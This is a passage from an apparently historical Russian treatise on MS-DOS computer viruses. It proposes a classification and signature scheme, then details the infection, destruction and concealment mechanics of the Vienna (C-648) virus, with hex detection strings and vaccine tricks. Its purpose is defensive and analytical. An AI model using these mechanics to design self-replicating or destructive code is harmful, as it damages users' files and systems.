срабатывание троянской компоненты вируса. Кроме того, резидентный вирус с целью маскировки может перехватывать запросы и искажать выдаваемую информацию. В настоящий момент известен ряд вирусов, обладающих указанным свойством. Например, группа файловых вирусов, известная под названием TP-вирусов, начиная с вируса TP-34 (члены этой группы имеют номера, хранящиеся в предпоследнем байте вируса в 16-ричном виде) обладает интересным свойством: при попытке трассировать зараженную программу резидентный вирус выполняет "выкусывание" вируса из программы, "подсовывая" отладчику уже излеченную программу. Аналогично бутовые вирусы, входящие в группу пакистанских (Brain, Ashar), при попытке просмотреть бутсектор на зараженном компьютере "подсовывают" пользователю оригинальный бутсектор, сохраненный вирусом в одном из секторов, помеченных как дефектный (и, тем самым, исключенным из распределения под файлы). Префикс характеризует место расположения головы вируса и состоит из букв и цифр, начинаясь с прописной буквы. В соответствии с этим будем различать следующие типы вирусов (будем рассматривать только реально существующие типы, а не все принципиально возможные): 1) файловые (голова вируса располагается в COM-, EXE-файлах и оверлеях є символы С, Е в префиксе. При этом дополнительную букву, отражающую заражение оверлеев в префикс вводить не будем, чтобы избежать его переусложнения, а вынесем в дескриптор); 2) бутовые (голова вируса располагается в бутсекторе или блоке MBR є символы B,D или M в префиксе); 3) пакетные (голова вируса расположена в пакетном файле, т.е. представляет собой строку или программу на языке управления заданиями операционной системы є префикс J). Отметим, что наряду с чистыми вирусами, использующими одну среду, в настоящее время появились гибридные є сочетающие свойства файловых и бутовых вирусов. Характеристика вируса представляет собой количественно измеряемое свойство вируса, допускающее простое определение и отличающееся для большинства типов вирусов. Например, для файловых вирусов в качестве характеристики может использоваться величина приращения длины файлов при заражении, хотя здесь имеются определенные трудности. Суффикс используется, когда два разных вируса или два штамма одного и того же вируса имеют одинаковый префикс и характеристику. В этом случае для того, чтобы получить уникальные коды, будем использовать в качестве суффикса латинскую букву. Например, в коде RС-1704f буква f означает "штамм-f". Дескриптор вируса. Конечно, предложенный код вируса не охватывает, да и не может охватывать основные свойства вируса. В то же время систематизация свойств вирусов представляет значительный интерес как для разработчиков антивирусных программ, так и их пользователей, поскольку позволяет интегрировать разнородные факты, относящиеся к поведению того или иного вируса в систему, тем самым облегчая их запоминание и сопоставление. Поэтому автором в качестве второго элемента классификации предлагается так называемый дескриптор. Дескриптор представляет собой систематизацию основных характеристик вируса в закодированном виде. Кодировка состоит из групп символов, начинающихся с заглавной латинской буквы, за которой следуют строчные латинские буквы или цифры. При этом заглавная латинская буква определяет вид характеристики, а следующие за ней маленькие буквы или цифры є значение характеристики для конкретного вируса. Например, в дескрипторе "Хab Yc Zdmt" имеются три свойства: Х є со значением "аb", Y є со значением "c", и Z є со значением "dmt". Сигнатура вируса. Поскольку подавляющее большинство известных в настоящее время вирусов допускают детектирование с помощью контекстного поиска, одной из важных задач классификации является составление списка строк для контекстного поиска (сигнатур). Знание сигнатур позволяет проверять поступающее программное обеспечение на их наличие, тем самым существенно повышая степень защищенности ЭВМ. Стандартизация сигнатур особенно важна, когда вирус имеет много штаммов, поскольку формальные схемы, подобные описанным выше классификационному коду и дескриптору, обладают тем недостатком, что некоторые штаммы будут неразличимы в заданном пространстве признаков. В то же время сравнительно легко обеспечить уникальность сигнатуры, по крайней мере вирусов, известных в СССР, хотя возможно создание вируса не имеющего ни одной сигнатуры, т.е. который нельзя найти с помощью контекстного поиска. Хотя в дальнейшем в качестве сигнатур используются только текстовые строки, для них применимы и регулярные выражения. Последние существенно устойчивее к некоторым мутациям и, кроме того, при меньшей длине обеспечивают лучшее качество распознавания (меньшее количество ложных срабатываний). Все это делает их предпочтительнее простых текстовых строк. Версию приводимых ниже таблиц с сигнатурами из регулярных выражений автор надеется опубликовать несколько позднее. Очевидно, что сигнатура, соответствующая участку, содержащему команды, надежнее сигнатуры участка, содержащего данные, например, текстовые строки (последние могут быть модифицированы). Поэтому выбор сигнатуры целесообразно выполнять на основе анализа дизассемблированного кода вируса. Длина сигнатуры не должна быть слишком большой, поскольку длинную сигнатуру труднее правильно набить вручную. В то же время при недостаточной длине или выборе нехарактерных участков кода сигнатура будет вызывать много ложных срабатываний, что весьма нежелательно. Правильная сигнатура не должна содержаться ни в одной из наиболее распространенных в MS DOS системных программ, включая, конечно, сами компоненты MS DOS. Таким образом, для выбора отвечающей указанным требованиям сигнатуры необходим ряд экспериментов, а сами сигнатуры могут являться предме- том сравнения и анализа. В настоящее время имеется ряд программ, обеспечивающих детектирование вирусов путем поиска в файлах соответствующих строк и используемые в них сигнатуры естественно "принять за основу". Наибольшую ценность представляют строки, используемые в известном зарубежном детекторе SCAN фирмы McAfee Associates (США), поскольку новые версии этого детектора появляются регулярно и охватывают практически все вирусы, появляющиеся за рубежом. Из других зарубежных детекторов следует отметить VIRSCAN фирмы IBM и TNTVIRUS фирмы CARMEL (Израиль). Для определенности назовем строку, используемую SCAN, М-сигнатурой, строку, используемую VIRSCAN, є I-сигнатурой, а строку, используемую TNTVIRUS, є С-сигнатурой. В то же время необходимо отметить, что сигнатуры для ряда вирусов, распространяющихся в нашей стране, таких как RCE-1600 (Voronez є Воронеж), C-1024 (Bebe є Бебе) и др. в существующих версиях этих программ отсутствуют, а сигнатуры для болгарских вирусов часто неудачны. В таких случаях в статье используются выбранные автором сигнатуры, которые обозначены буквой B (B-сигнатуры) или так называемые J-сигнатуры. Последние представляют собой начальные байты кода вируса (т.е. первые исполняемые команды тела вируса). Опыт показывает, что они достаточно специфичны и в большинстве случаев позволяют отличать один вирус от другого. При этом для файловых вирусов, дописывающих свое тело в конец файла, будем считать, что J-сигнатура начинается с байта, на который передает управление команда JMP. Кроме того, в теле некоторых вирусов встречаются характерные текстовые строки. Такие строки будем называть T-сигнатурами и использовать как вспомогательные. Следует отметить, что контекстный поиск может использоваться не только для поиска зараженных вирусом программ, но и для поиска программ и файлов, уничтоженных или поврежденных вирусом. Например, вирус С-648 при определенных значениях таймера вместо заражения программы уничтожает ее, записывая в первые 5 байтов строку, соответствующую переходу на подпрограмму перезагрузки BIOS. Для поиска уничтоженных вирусом программ можно использовать строку "EAF0FF00F0". Аналогично вирус RCE-1800 уничтожает сектора на винчестере, записывая в первые байты сообщение "Eddie livesЄ somewhere in time". По этому сообщению с помощью Norton Utilities или PC Tools можно выявить все пораженные сектора и определить, к каким файлам они относятся. При наличии сигнатуры проверку зараженности файлов вирусом данного типа удобно выполнять, используя специальные программы, из которых, по мнению автора, наиболее удачной является программа VL (см. прил.5), позволяющая проводить поиск в каталоге или заданных его ветвях. В случае обнаружения зараженных программ целесообразно дополнительно проконтролировать результаты с помощью Norton Utilities (NU) или PCTools, которые всегда под рукой (для просмотра всех файлов можно использовать режим глобального поиска по диску). 3.2. Классификация файловых вирусов Файловые вирусы являются наиболее распространенным типом компьютерных вирусов; они составляют примерно 80% от общего числа компьютерных вирусов, известных для компьютеров, совместимых с IBM PC. Этот класс компьютерных вирусов обладает весьма высокой инфицирующей способностью. При отсутствии противодействия они вызывают настоящие эпидемии. Так, например, произошло с вирусом RCE-1813, известным также под названиями Jerusalem (Иерусалим), Black Friday (Черная пятница) и др. Классификационная таблица файловых вирусов, обнаруженных в СССР, приведена в прил.1. Группы файловых вирусов. Большинство распространенныx файловыx вирусoв имеют штаммы, незначительно отличающиеся от базовой вер- сии. Поэтому можно говорить о группах файловых вирусов и, соответственно, групповых дескрипторах и групповых сигнатурах. В настоящее время можно выделить следующие группы файловых вирусов. 1) Венская группа. Первым представителем этой группы был вирус С-648, обнаруженный в Вене примерно в 1987 г. Его дизассемблированный код был опубликован и распространялся в виде файла на дискетах с соответствующими антивирусными программами, поэтому попытки его модификации наиболее многочисленны. 2) Группа CASCADE. Первым представителем этой группы был вирус RС-1701, обнаруженный примерно в середине 1988 г. 3) Иерусалимская группа. Первым представителем этой группы был вирус RCE-1813, обнаруженный в Иерусалимском университете в конце 1987 г. Данная группа имеет значительное число штаммов (более десятка). 4) Группа TP-вирусов (эти вирусы, вероятно, разработаны в Болгарии; большинство представителей этой группы имеют характерный "хвост" длиной четыре байта, в котором за двумя первыми байтами (F4FAh) следует байт с 16-ричным значением версии вируса (как уже указывалось, этот байт является предпоследним байтом в зараженной программе). В свою очередь, эта группа разбивается на три подгруппы є "VACSINE" (TP-4, TP-5, TP-16), "музыкальной перезагрузки" (TP-24, TP-25) и "самоедов" (TP-34 и старше). Две последние подгруппы часто называют "Yankee Doodlе" (Янки дудль), поскольку они при определенных условиях проигрывают мелодию Yankee Doodlе Dandy. Данная группа имеет наибольшее количество штаммов є порядка двух десятков (не все номера версий соответствуют реальным вирусам). 5) Группа Avenger. Представители этой группы обладают более высокой инфицирующей способностью по сравнению с предыдущими группами, поскольку заражают файлы не только при выполнении, но и при открытии и чтении. Один из представителей этой группы периодически уничтожает сектора на винчестере, записывая в них текстовое сообщение. 6) Голландская группа (Datacrime). Представители этой группы активизируются 12 октября текущего года и уничтожают первые 8 секторов логических дисков A, B, C и D. 7) Исландская группа (Icelandic). Следует отметить, что две из упомянутых выше групп вирусов пока, по-видимому, не попали в нашу страну (группа Datacrime и исландская группа). Кроме того, в настоящее время на базе некоторых вирусов начинают образовываться новые группы. Фактически это происходит с каждым вирусом, получившим значительное распространение. Классификационный код файлового вируса. Как уже указывалось, файловые вирусы можно разделить на резидентные и нерезидентные, что во многом определяет поведение вируса и, прежде всего, его инфицирующую способность (резидентные вирусы обладают существенно более высокой инфицирующей способностью, чем нерезидентные). Поэтому код резидентных вирусов будем начинать с префикса R, например RC-1701. Префикс. Помимо символа R, классификационный код файлового вируса может включать символы С и Е или их сочетания. Как уже указывалось, символы С и E определяют типы файлов, заражаемых данным вирусом. Например, если резидентный вирус заражает COMи EXEфайлы, то его классификационный код будет иметь префикс RCE. Количественная характеристика. К непосредственно наблюдаемым объективным свойствам файловых вирусов прежде всего относится приращение длины файлов при заражении. Это приращение, обусловленное наличием вируса, можно использовать для определения его типа. Здесь есть две основные проблемы. Во-первых, величина приращения может варьироваться в зависимости от длины заражаемого файла (многие вирусы при дописывании своего кода в конец заражаемого файла выравнивают свое тело на ближайший адрес, кратный 16, т.е. на границу параграфа). Во-вторых, величина приращения может не совпадать для COM-файлов и EXE-файлов. Поэтому в качестве количественной ха- рактеристики необходимо использовать нормированное приращение, определяемое по следующим правилам. 1) Для вирусов с префиксом С и CE (RC, RCE) характеристика классификационного кода принимается равной минимальному приращению длины зараженного COM (для вирусов типа С и CE) или EXE (для вирусов типа Е) файла. 2) Для вирусов, не изменяющих длины файла, указывается ноль, а через тире действительная длина тела вируса, например RC-0-346. 3) Для вирусов, маскирующих увеличение длины файла на зараженной машине к характеристике, определенной по правилам п.1, слева добавляется незначащий ноль (например, RCE-02000). Отметим, что предложенный в п.1 подход позволяет исключить влияние выравнивания на границу параграфа для вирусов, выравнивающих свое тело указанным способом. Кроме того, для вирусов, изменяющих приращение случайным образом, например, путем подгонки его до величины, кратной 51, минимальное приращение также позволяет исключить влияние вставляемых байтов (этот случай можно рассматривать как разновидность выравнивания). И наконец, для вирусов, многократно заражающих один и тот же файл, использование минимального приращения позволяет исключить влияние многократного заражения. Для определения указанной характеристики не требуется проведение экспериментов по заражению файлов с такой длиной. Ее достаточно просто определить, сопоставив приращения длин двух или более зараженных файлов типа COM. Чаще всего файловые вирусы заражают командный процессор MS DOS (файл COMMAND.COM) и программы, вызываемые в файле AUTOEXEC.BAT. При анализе нескольких зараженных файлов возможны два наиболее типичных (хотя и не единственно возможных) случая. Если приращения длин двух или более зараженных файлов совпадают, а остатки от деления длин исходных файлов на 16 отличны друг от друга, то скорее всего вирус не выполняет выравнивание своего кода на границу параграфа и полученное приращение является характеристикой данного вируса. Если приращения отличны, то скорее всего вирус выполняет выравнивание своего тела на границу параграфа, и характеристику L данного вируса можно получить по формуле L = D є (16єmod(LEN,16)), т.е. путем вычитания из полученного приращения (D) дополнения (до 16) остатка от деления исходной длины файла на 16. Например, файл COMMAND.COM, который файловые вирусы обычно поражают в числе первых, в наиболее распространенной в настоящее время версии MS DOS 3.3 обычно имеет длину 25307. При этом mod(25307,16)=11, т.е. остаток от деления 25307 на 16 равен 11 . Очевидно, что дополнение до 16 равно 5 и для выравнивания на границу параграфа требуется вставка пяти дополнительных байт. В этом случае характеристика вируса будет на 5 меньше, чем приращение длины файла COMMAND.COM. Достоинством принятого подхода является то, что, за редким исключением (например, вирус RCE-1813), определенная таким образом числовая характеристика совпадает с длиной кода вируса. В качестве количественной характеристики классификационного кода могут применяться и другие параметры. На них стоит кратко остановиться, поскольку использованные в них подходы будут безусловно открываться и переоткрываться другими авторами. По-видимому, наиболее распространенными можно считать следующие два подхода. 1) Использование в качестве количественной характеристики длины кода вируса, определенной по константе, содержащейся во фрагменте, который обеспечивает дописывание кода вируса в заражаемый файл (эту константу можно сравнительно легко определить, анализируя дизассемблированный код вируса). Такая характеристика является объективной, поэтому ее часто используют разработчики антивирусных программ, достаточно хорошо владеющие языком ассемблера. Однако определенная таким образом характеристика в ряде случаев не совпадает с наблюдаемым значением приращения длин файлов, что снижает ее ценность с точки зрения использования при попытке классификации пользователем, не владеющим языком ассемблера, нового, еще неизве- стного ему вируса. Hапример, для упомянутого выше иерусалимского вируса длина кода вируса составляет 1808 байт, а приращение длины при заражении файлов типа СОМ є 1813 байтов, что объясняется дополнительным дописыванием в конец зараженного файла типа COM пятибайтовой константы "MsDos" (используется как признак зараженности файла). 2) Использование в качестве количественной характеристики приращения длины какого-то конкретного файла, полученного в результате его заражения. В ранних редакциях данной работы автор использовал этот подход, причем в качестве эталонного был выбран файл COMMAND.COM версии 3.3 MS DOS. Этот действительно удобный подход утратил свою привлекательность с появлением ряда вирусов, не заражающих командный процессор, а также распространением версии 4.0 MS DOS, в которой длина файла COMMAND.COM составляет 37637. Суффикс. Возможны случаи, когда два разных вируса или два штамма одного и того же вируса имеют одинаковые префикс и характеристику. В этом случае, для того, чтобы получить уникальные классификационные коды вирусов будем использовать в качестве суффикса одну букву. Например, в коде RС-1704f буква f означает "штамм-f". При этом буква "G" резервируется за так называемыми группами вирусов о которых сказано выше. Дескриптор файлового вируса. Используемые характеристики вирусов приведены в прил.1. Для файловых вирусов, неизвестных в СССР (прил.3), информация комбинировалась из различных источников и возможно содержит ошибки. Сигнатура файлового вируса. Как уже указывалось, для сигнатур целесообразно использовать шестнадцатиричные строки, соответствующие характерным последовательностям команд в теле вируса. Расположение сигнатур в прил.1 подчиняется правилу: если сигнатура M входит в сигнатуру V, то она приводится после сигнатуры V. Как уже указывалось в предыдущей части, сигнатуры T существуют не для всех файловых вирусов. Одной из наиболее удобных сигнатур для файловых вирусов являются J-сигнатуры. Их можно очень быстро определить с помощью любого отладчика (DEBUG, Turbo Debugger, AFD и т.д.). Пользователи, не умеющие работать с отладчиками, могут использовать для определения J-сигнатур программу, входящую в пакет VL (см. прил.5). Следует отметить, что контекстный поиск можно использовать не только для поиска зараженных вирусом программ, но и для поиска программ и файлов, уничтоженных или поврежденных вирусом. Например, вирус С-648 при определенных значениях таймера вместо заражения программы уничтожает ее, записывая в первые 5 байтов строку, соответствующую переходу на подпрограмму перезагрузки BIOS. Для поиска уничтоженных вирусом программ можно использовать строку "EAF0FF00F0". Аналогично вирус RCE-1800 уничтожает сектора на винчестере, записывая в первые байты сообщение "Eddie lives ... somewhere in time". По этому сообщению с помощью Norton Utilities или PC Tools можно выявить все пораженные сектора и определить, к каким файлам они относятся. 3.3. Классификация бутовых вирусов Как и для файловых вирусов, будем выделять группы бутовых вирусов, а для каждого отдельного вируса є классификационный код, дескриптор и сигнатуры. Группы бутовых вирусов. Большинство распространенныx бутовых вирусoв имеют штаммы, которые можно объединить в группы. В настоящее время можно выделить следующие группы бутовых вирусов: 1) итальянская (первым представителем вирусов этой группы был вирус, Bx1-1C, появившийся примерно в конце 1987 г.); 2) пакистанская (в нее входят вирусы Brain, Ashar; первым пред- ставителем этой группы был вирус Dx3-E9 (Brain-86), разработанный в 1986 г. в Лахоре (Пакистан)); 3) новозеландская (родоначальником которой был вирус M-05 є Stoned); 4) индийская (включающая большую группу вирусов, из которых в СССР обнаружен один є Joshy). Классификационный код бутового вируса состоит из префикса и количественной характеристики. Префикс. Поскольку все бутовые вирусы являются резидентными, использование символа R в префиксе их классификационного кода нецелесообразно. Наиболее важным свойством бутовых вирусов, сопоставимым по значению с резидентностью файловых вирусов, является спосoбность некоторых бутовых вирусов сохраняться в памяти после "мягкой" пeрезагрузки путем нажатия последовательности клавиш Ctrl-Alt-Del. Это свойство мы будем обозначать буквой W (survive Warm reboot) в префиксе. Все бутовые вирусы заражают дискеты, однако некоторые из них заражают винчестер, а другие нет. Вирусы, инфицирующие только дискеты (Brain, Den Zuk) будем обозначать префиксом D. При заражении бутсектора возможны два случая: заражение бутсектора раздела С винчестера (префикс B) и заражение MBR є исполняемой части таблицы разделов (префикс M). Поскольку одним из наиболее распространенных случаев расположения хвоста бутового вируса является его расположение в псевдосбойных кластерах (что легко определить, просмотрев их содержимое с помощью Norton Utilities), то для таких вирусов в суффикс будем включать букву х, за которой следует количество этих кластеров, например Bx1. Количественная характеристика бутового вируса. Выбор количественной характеристики для бутовых вирусов имеет определенную специфику: если для файловых вирусов наиболее характерным признаком заражения является увеличение длины файла, то для бутовых вирусов аналогичную роль играет уменьшение размеров оперативной памяти, доступной для MS DOS. Однако, как указывалось выше, важным требованием к выбору свойств вируса, используемых для классификации, является возможность их определения на незараженной машине. Объем оперативной памяти, сообщаемый MS DOS, этому критерию не отвечает. Количество блоков памяти, используемых бутовым вирусом, этому критерию не отвечает, поэтому от этой характеристики пришлось отказаться. Было решено использовать другую "доступную для обозрения" характеристику бутового вируса є содержимое зараженного бутсектора (точнее первых его байтов). Вместе с тем, анализ объема памяти, сообщаемого MS DOS, является очень полезным диагностическим приемом, и при подозрении на заражение тем или иным вирусом, вызов программы CHKDSK, сообщающей это значение (а также ряд других полезных сведений, включая объем памяти, занятый на диске сбойными кластерами), целесообразно вставлять в файл AUTOEXEC.BAT. В качестве характеристики выбрано значение второго байта зараженного бутсектора, поскольку его содержимое различно для известных автору бутовых вирусов. В то же время содержимое этого байта записывается в 16-ричной системе счисления, что создает определенную несогласованность с характеристикой файловых вирусов, являющейся десятичным числом. Именно поэтому в предлагаемом варианте классификационного кода вируса прeфикс и характеристика разделяются знаком "-" (минус). Следует еще раз подчеркнуть, что просматривать содержимое бутсектора следует только предварительно загрузившись с защищенной от записи резервной дискеты с операционной системой и требуемыми антивирусными программами, поскольку сама операция просмотра на зараженной машине может либо перехватываться вирусом для подстановки "чистого" бутсектора (так, например, маскируется вирус Brain), либо, что еще хуже, служить триггером для каких-то несанкционированных действий. Следует использовать так называемую "холодную" перезагрузку (с помощью клавиши RESET, если она есть, или путем выключения питания, если ее нет), а не "теплую" перезагрузку (нажатием клавиш CTRL-ALT-DEL). Это требование основано на том факте, что ряд бутовых вирусов перехватывает прерывание от клавиатуры и при "теплой" перезагрузке MS DOS сохраняет себя в памяти, даже если перезагрузка идет с защищенной системной дискеты. Дескриптор бутового вируса. Структура дескриптора бутового вируса приведена в прил.2. Сигнатура бутового вируса. Для бутовых вирусов сигнатуры M, I и B будут использоваться аналогично тому, как это было для файловых вирусов, а J-сигнатура є в несколько измененном виде. В отличие от J-сигнатуры для файловых вирусов, в которой байты, соответствовавшие команде перехода, не учитывались, здесь они будут учитываться. Это связано с тем, что первой командой бутсектора всегда является команда обхода таблицы параметров диска (см. прил.6), размер которой, в отличие от размера заражаемого файла, не меняется. Поэтому для бутовых вирусов мы преимущественно будем использовать J-сигнатуру, состоящую из первых трех байтов бутсектора и лишь при необходимости дополнять ее, начиная с байта, на который выполняется команда перехода. Для незараженного бутсектора MS DOS версии 3.3 J-сигнатура равна EB3490h (объектный код команды JMP, служащий для обхода таблицы параметров). Ценность этой эталонной J-сигнатуры состоит в том, что она легко запоминается. Поэтому несовпадение первых трех байтов анализируемого бутсектора с указанной эталонной J-сигнатурой свидетельствует о зараженности бутсектора (отметим, что совпадение еще ни о чем не говорит). В прил.2 приведены краткие сведения о бутовых вирусах, обнаруженных в СССР. 3.4. Использование классификационных таблиц в качестве части документации к антивирусным программам В заключение отметим, что предлагаемая классификация является, по существу, одной из первых попыток стандартизации, поэтому она, конечно, не лишена недостатков, и естественно, должна совершенствоваться. В то же время любой классификации присущи те или иные недостатки и ожидание идеальной классификации глубоко ошибочно. Здесь, как и в большинстве областей программирования (например, в языках высокого уровня), пожалуй, важнее во-время сделать ставку на какой-то более или менее приемлемый вариант, чем самому тратить время и силы на разработку более удачной альтернативы. Поэтому разработчикам антивирусных программ имеет смысл использовать описанную классификацию при подготовке документации и выдаче диагностических сообщений, даже имея некоторые возражения к принятому подходу. Поскольку автор регулярно обновляет приведенные таблицы вирусов, основанные на предложенной классификации, их использование в качестве части документации к распространяемым антивирусным программам не только повысит полноту и качество последней, но и сэкономит время на последующую корректировку, которая может быть выполнена просто путем замены предыдущей редакции таблиц на текущую. Использование в антивирусных программах кода и дескриптора вируса упрощает программирование ряда компонент и создает некоторые нетривиальные возможности. В простейшем случае дескриптор вируса можно рассматривать как способ упаковки файла оперативной подсказки сведений о найденном вирусе. При выдачи информации о вирусе по клавише HELP (F1) содержащуюся в нем достаточно подробную информацию можно развернуть до практически полного описания найденного вируса путем замены значения каждого из полей дескриптора на соответствующие ему стандартные фразы на русском или английском языке. В этом случае, вместо двух-трех малоинформативных фраз, выдаваемых на экран в виде оперативной подсказки (по принципу "получи и отвяжись"), пользователь получает действительно полезную информацию. 4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР Ниже приводятся описания нерезидентных файловых вирусов, изученных автором на момент выхода данной работы. В целях систематизации описываемые вирусы разбиты на несколько групп. Как для самих групп, так и вирусов внутри группы изложение ведется в основном в хронологическом порядке (по появлению в Киеве). 4.1. Венская группа Венская группа берет свое начало с вируса С-648. Для данной группы характерен механизм поиска зараженных файлов, который выполняется во всех каталогах, сцепленных командой PATH, и использование поля секунд для отметки зараженных файлов. В настоящее время включает три штамма, наиболее распространенным из которых является исторически первый є С-648. Указанные штаммы отличаются по методу включения троянской компоненты, которая вызывает уничтожение COMфайлов путем перехода на подпрограмму перезагрузки операционной системы. Большинство штаммов используют для этой цели текущее значение таймера (см.ниже), однако некоторые (которыми мы не располагаем) є значение даты создания файла. Наиболее распространены штаммы с длинами 648, 623, 627 байтов. 4.1.1. Базисный вирус С-648 (Vienna є Вена) Название вируса С-648 связано с тем, что после запуска зараженной программы вирус активируется и ищет файл-жертву. Если файлжертва был найден в определенный момент времени (среди последних трех битов 16-ричного представления секунд нет ни одной единицы), то вместо заражения программы, содержащейся в этом файле, С-648 вставляет в начало этой программы команды перехода на подпрограмму "теплого рестарта", делая тем самым программу в соответствующем СОМ-файле неработоспособной. "Убитые" вирусом программы не могут быть восстановлены без наличия информации о начале программы, а зараженные могут "излечиваться" с помощью соответствующего фага. Формально вирус С-648 є файловый нерезидентный вирус, поражающий файлы типа СОМ. Функционирует на версиях MS DOS, начиная с 2.0. Стратегия заражения є поиск файла с расширением СOM в каталогах, сцепленных в PATH. Заражение СOMMAND.COM выполняется так же, как и заражение любого другого COM-файла: никаких механизмов по поиску размещения командного процессора вирус не содержит. При заражении он дописывается в конец программы и одновременно вставляет в первые три байта COM-файла команду перехода на тело вируса. При этом размер файла увеличивается на 648 байтов, дата создания файла и атрибуты файла не меняются. Заражение выполняется однократно. Минимальный размер заражаемых файлов є 10 байтов (0Ah), максималь- ный є (FA00h). Поскольку вирус определяет тип файла только по расширению, заражение EXE-файлов с расширением COM выполняется неправильно. Это приводит к потере работоспособности зараженных файлов указанного типа: их запуск обычно ведет к зависанию системы. После обработки такой программы фагом работоспособность восстанавливается. Для отличения зараженных файлов от незараженных используются младшие четыре бита времени создания файла (для зараженных файлов они все устанавливаются в единицу, что соответствует несуществующему количеству секунд є 62 с.). Следует отметить, что как команда DIR, так и распространенные оболочки типа Norton Commander не показывают поле секунд, выдавая содержимое каталога на экран. Поэтому это изменение достаточно хорошо скрыто от пользователя. При запуске инфицированной программы управление сначала получает сам вирус. Получив управление, вирус устанавливает свою область передачи данных, осуществляет поиск файлов типа COM на всех дисках и во всех каталогах, сцепленных с помощью команды PATH. При нахождении такого файла вирус прежде всего проверяет его время создания, по которому определяет, заражен уже этот файл или нет. Если файл отмечен как незараженный и его длина больше десяти байтов, то он рассматривается как "потенциальная жертва" и вирус приступает к его заражению. При этом вирус не проверяет, не является ли файл на самом деле файлом типа EXE (начинающимся с "MZ"), ошибочно или намеренно "замаскированным" под файл типа COM. Указанные файлы в случае заражения уничтожаются. Следует отметить, что защита файлов атрибутами READ ONLY и HIDDEN в MS DOS недостаточно эффективна, поскольку вирус легко изменяет эти атрибуты. Сначала вирус запоминает атрибуты, дату и время создания заражаемого файла. Затем сбрасывает атрибут READ ONLY, если он был установлен, открывает файл на запись и считывает текущее время. Если выданное по прерыванию 21-2С содержимое регистра DH содержит в последних трех битах нули (т.е. системные часы показывают 0, 8, 16, 24, 32, 40, 48 или 56 с.), то вирус предпринимает попытку уничтожения "потенциальной жертвы". Иначе выполняется попытка заражения. Другими словами, приблизительно в 12% пораженных вирусом программ уничтожены первые пять байтов. Уничтожение выполняется путем записи в первые пять байтов команды перехода на подпрограмму перезагрузки BIOS (переход по адресу F000:FFF0). В дальнейшем при попытке выполнить "пораженную" программу вместо ее выполнения будет выполняться перезагрузка MS DOS. Если при этом программа входит в AUTOEXEC.BAT, то при загрузке произойдет зацикливание и с винчестера или данной системной дискеты загрузиться нельзя без корректировки AUTOEXEC.BAT. При заражении, которое выполняется, только если хотя бы один из последних трех битов времени создания файла равен единице, вирус переписывает свой код в конец файла и заносит в первые три байта команду JMP для передачи ему управления. После этого С-648 восстанавливает дату, время и атрибуты уже зараженного файла, и управление передается программе-вирусоносителю. При восстановлении даты количество секунд устанавливается равным 62 (т.е. последним четырем битам присваиваются значение 1111). По этому значению вирус отличает зараженные файлы от незараженных, что обеспечивает однократность заражения. Впрочем, при архивировании зараженных файлов поле секунд может теряться (количество секунд во времени создания файла не выдается ни одной командой MS DOS), что приведет к повторному заражению. Поскольку вирус C-648 не проверяет, находится ли заражаемый или уничтожаемый файл на защищенной дискете или нет, то в этом случае выдается обычное сообщение операционной системы: Write protect error writing device <лог.имя.устр.> Abort, Retry, Ignore, Fail? в ответ на которое неопытные пользователи часто снимают защитную заклейку прорези дискеты, тем самым разрешая вирусу заразить очередную программу. Этот эффект представляет интерес как наглядная демонстрация того непреложного факта, что человек является важнейшим звеном в любой системе обеспечения безопасности. Исторические замечания. Данный вирус появился в США в 1987 г. и получил широкое распространение в Западной Европе в 1988 г. Об этом, в частности, свидетельствует тот факт, что среди средств борьбы с этим вирусом имеются немецкие, польские, чешские и австрийские программы. В СССР вирус С-648 появился приблизительно в августе 1988 г., когда он был обнаружен в лаборатории Института программных систем (Переславль-Залесский). Возможно, он попал туда во время проведения институтом (совместно с ЮНЕСКО) Международного детского компьютерного летнего лагеря. Поскольку этот вирус к середине 1988 г. был уже довольно распространен в Западной Европе, включая соцстраны, он несомненно завозился в СССР неоднократно, c различного рода новыми версиями программного обеспечения и компьютерными играми. В Киеве этот вирус появился в конце 1988 г., а наибольшее распространение получил примерно в апреле 1989 г., после чего его эпидемия пошла на убыль, что прежде всего связано с достаточной распространенностью средств защиты от этого вируса. Одним из переносчиков этого вируса в Киеве являлся адаптированный вариант программы SideKick (шестерка). К сожалению, по стране распространяется откомментированный исходный текст данного вируса, который, в частности, был включен В.Бончевым в его "вирусную" дискету. Доступность исходных текстов сделало этот вирус базой для многочисленных штаммов и несколько таких штаммов уже выявлено в СССР(см. ниже описание вирусов С-534 и С623). Первыми антивирусными программами, попавшими в Киев и ориентированными на борьбу с этим вирусом, были зарубежные программы, распространявшиеся в виде случайного набора набора на дискете. Среди них наибольшей популярностью на начальном этапе пользовались детектор DIAG и фаг CURE Д.Сопчека (ПНР), DR_NO, FAG_OM и др. Отечественные средства появились несколько позднее, однако со временем основным средством борьбы стали такие отечественные полифаги, как AIDSTEST, DOCTOR, VDEATH и др. Неформальные названия. Данный вирус имеет не менее десятка неформальных названий. Среди них: Vienna (Вена), DOS-62, Time Bomb (Часовая мина), Flea (Блоха), вирус перезагрузки, VHP-648', RESTART (Рестарт є О.Котик), Rebooter (Перезагрузчик), P-virus, Omega (Омега). Полидетектор SCAN называет данный вирус "Vienna (DOS 62) Virus є Version A [Vienna]". Программные средства защиты. Для данного вируса имеется огромное количество программ типа детекторов и фагов. При этом большинство из них не указывают, для какого типа вируса они предназначены. Поэтому очень часто в "батарее антивирусных средств", составляемых на многих ВЦ, используется несколько эквивалентных по своим функциональным возможностям детекторов или фагов для этого типа вируса. Уничтоженные вирусом файлы, т.е. файлы, в которых вместо первых пяти байтов записана команда безусловного перехода на перезагрузку MS DOS (EA F0 FF 00 F0), можно восстановить, только если первые байты программы были предварительно записаны в справочном файле программой-ревизором (типа CRCDOS). В настоящее время все полидетекторы и все полифаги обрабатывают программы, зараженные данным вирусом. Автор рекомендует полифаг AIDSTEST. Защита винчестера от данного вируса облегчается при использовании программы Advanced Disk Manager, которая позволяет устанавливать защиту записи и для разделов винчестера. Вакцина от данного вируса может быть создана двумя способами. Во-первых, поскольку при поиске слова PATH вирус фактически ищет подстроку "PATH=", его можно "навести на ложный аэродром", вставив в AUTOEXEC.BAT строку вида SET XPATH = Х:\DUMMY до "настоящей" строки SET PATH=. В приведен- ном примере DUMMY є несуществующий каталог, а первая (или несколько первых) букв в имени ловушки могут быть произвольными. В этом случае вирус "поймает" первую букву "P", входящую в слово XPATH и будет пытаться искать файлы на несуществующем диске Х и несуществующем каталоге DUMMY. Аналогичную ловушку можно ставить и на COMSPEC, и хотя для данного вируса она не нужна, важно понимать, что данную идею 